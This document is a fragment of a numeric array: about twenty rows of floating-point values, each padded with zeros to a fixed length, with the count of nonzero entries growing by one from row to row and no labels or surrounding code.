[4.05725, 0.51204, -2.9472, -1.70947, 0.50607, 2.10193, 0.15709, -0.24833, -0.97953, -1.21571, -1.15694, -0.32746, 0.78837, 2.58633, 1.83378, 0.65848, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-2.44942, -3.27923, 2.05704, 3.8915, -0.00178, -1.54316, -0.84831, -0.69152, 0.50387, 0.48771, 0.95693, 1.06582, 0.40607, 0.30273, -2.32341, -0.98586, -0.02905, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-1.36871, 5.7046, 0.41908, -4.16925, -1.02438, 1.67099, 2.56121, -0.3734, -0.30484, -0.35588, -0.33602, -0.92903, -0.29956, -0.61372, 2.19843, 1.29236, 1.35369, 1.18515, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[3.56374, -5.72205, -4.13209, 1.72975, 2.82639, -0.07192, -1.76058, 1.17628, -0.23558, 0.53706, 0.9105, 1.56688, 1.86311, 0.79711, -0.32267, -0.62623, -0.25477, 0.13943, -0.98134, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-2.43479, 0.34094, 6.17564, 0.9878, -2.97511, -2.11623, 0.5414, 1.62612, 0.25974, -0.69426, -1.43141, -2.9068, -2.7987, -0.60521, -0.0399, 1.03965, 0.18374, 0.12325, 1.30728, -1.79652, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[3.85912, 3.54126, -5.45178, -3.54919, 2.07964, 1.94309, -0.43215, -1.74278, 1.39727, 0.55232, 1.10477, 2.85747, 2.31721, 1.54812, 0.42315, -0.01396, 0.43012, 0.53749, 0.72354, 0.92676, -0.53274, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-2.91027, -3.43377, 2.19916, 4.42864, 0.51932, -0.15899, 0.14284, 0.79714, -0.87497, -0.14148, 1.13845, -0.23216, -1.38679, -2.84757, -1.17074, -0.71398, 0.37481, 0.79361, -0.58515, -0.95551, -1.07909, -1.31293, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.76846, 3.67351, 1.23884, -3.57814, -2.2402, 0.20884, 0.62894, -0.49189, -0.7695, 1.02594, -1.74758, -1.44326, 1.15662, 1.73269, 0.88763, -0.67239, -2.07135, -0.56819, 0.49272, 0.72389, 1.06311, 0.25423, 1.31339, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[1.82737, -4.83325, -2.83467, 2.95243, 1.93658, -1.1008, -0.56904, 0.36826, 1.65085, -1.31733, -1.39317, 1.2282, 0.09377, -1.28632, -1.80374, 1.51852, 1.65424, 0.96964, 1.06748, -0.88174, 0.21715, -1.41702, -1.07414, 0.95738, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-1.52494, 3.06541, 1.80458, -1.41966, -1.0946, -0.04909, -0.36367, -0.98439, -0.84206, 0.93618, 2.75796, -1.16308, -1.60305, 1.11522, 2.18714, -0.23413, -1.25578, -2.08189, -1.69004, -1.16096, -0.39159, 0.46522, 1.70346, 1.64567, 1.85926, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[1.25929, 0.30123, -1.34128, -0.67798, 2.80681, 1.39871, -0.14989, 0.14507, -0.49408, 0.17954, -0.41412, -0.12692, 0.06837, -0.83066, -2.23756, -2.36646, 1.35627, 2.56043, 0.8697, 1.22877, -1.30292, -0.91607, -0.26306, -2.28372, -0.23442, -0.21208, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.65702, -0.32241, 2.23185, 1.01259, -2.79659, -0.57494, 0.18022, -0.16528, -0.55029, -2.38183, -1.67365, 2.41435, 1.07985, 0.04637, 1.08344, 3.62048, 0.04386, -0.82567, 0.26827, -1.1302, -0.45616, -0.00034, 0.76886, 1.65609, 1.5085, 2.51149, 0.04162, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.73786, -0.08855, -2.15711, 0.24647, 0.22625, 0.69303, 0.49392, 0.87845, 1.75956, 0.43072, -0.67673, -1.88545, 1.28321, 1.26393, -0.28354, -1.98309, -2.35488, -1.95059, -0.58086, -0.70904, 0.74532, -0.05053, -0.37671, -0.02238, -2.84055, -2.18994, -0.21686, 0.27656, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.98237, 0.60265, 1.13821, 1.29569, 1.23138, -1.32403, 0.45351, 0.29274, -1.04609, 1.61117, 1.73308, -1.57993, -1.69431, -0.99098, -0.89832, 1.63411, 3.16818, 1.04649, 0.1947, 2.29116, 1.18202, 1.10806, 1.78664, 0.74349, 1.58162, 1.82248, 0.94797, -1.35655, -0.53633, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.06227, -1.12984, -0.60316, -1.57082, 1.23664, 1.03712, -2.06114, -1.91064, -1.02127, -0.19067, 0.52861, 0.55482, -1.55065, 0.72503, 0.6701, -1.23108, -2.19042, -0.05156, -0.14456, -1.66855, -2.20666, -1.80173, 0.21949, 0.20515, 1.79193, -1.49674, -1.37301, 1.01438, -0.55805, -0.45342, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.62934, 0.2805, 0.06159, -0.13657, -1.0982, -0.01892, -0.1506, 1.16229, 1.92567, -1.6801, -1.98447, 0.51704, 1.63703, -0.5232, 0.08542, 0.40991, 1.63404, 1.11905, -0.01135, 0.34598, 3.54907, 0.95676, 0.73627, -0.02, -1.34569, 0.86504, 0.2949, 0.43978, -0.4837, -0.75094, 1.73951, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[2.01547, 0.39213, -0.91218, 0.43548, -0.83268, 1.77788, 3.37542, -0.49469, -1.54648, 0.16263, -0.32513, 0.1926, 1.04283, -0.3034, -0.45909, 0.47304, -2.69932, -2.57189, -0.6968, -0.35951, -1.92384, -0.31975, -1.81323, -0.45155, -1.11671, -0.00288, 1.29369, 1.08165, 0.53963, 1.62041, -0.44052, -1.25369, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.92111, 0.1872, 0.55544, 0.25495, 1.5989, -1.27895, -2.06059, -0.45339, -0.039, 2.05203, 1.27051, -1.42985, -1.59113, -0.84872, -1.03587, -1.81674, 1.80361, 4.51447, 1.60764, 0.49001, 0.27036, 3.06479, 0.87529, 0.23127, 1.69246, -0.48007, -1.21009, -0.97529, -0.10898, 0.5858, -1.25602, 1.70738, 0.86722, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.10745, -0.75039, -0.87253, -0.59822, 0.84229, -1.10972, 0.58817, 2.94769, -0.24994, -1.52507, -0.58781, -0.82866, -0.13228, 1.76442, 2.15582, 2.03459, 1.8283, -2.89236, -3.51169, -0.79587, 1.41616, -2.20909, 0.36576, -2.16909, -0.92575, -0.46188, -0.67706, 1.11056, -0.6453, 1.25802, 2.53264, -0.17355, -0.27835, -0.88709, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.8579, 0.21066, 2.52018, -0.70717, -2.79495, 2.05676, -0.24531, -1.03759, 0.83546, -0.73675, -0.61222, 2.20717, 1.40569, -1.13026, -1.10788, -1.92586, -5.31125, -0.90576, 4.10161, 2.36693, -0.10854, -0.67486, 0.3081, 1.31649, -1.3892, 0.24891, 1.08298, 0.03296, 0.11425, -0.82986, -1.11944, 0.98138, 0.06396, -1.20249, -2.29998, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[3.18545, 0.84923, -3.51331, 0.12854, 1.14594, 1.34143, 1.02056, 0.34606, 1.21151, -0.1873, 0.6505, 0.81517, -1.19215, -1.98207, 0.24046, 1.6728, 3.73628, 3.62731, -1.42997, -2.96374, -2.09145, 1.69535, 0.42282, 1.90394, 0.85547, -0.6494, 1.81595, -0.61278, -0.63695, 0.11907, -0.11612, 0.91174, 1.77582, 1.81684, 0.53554, -1.7808, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
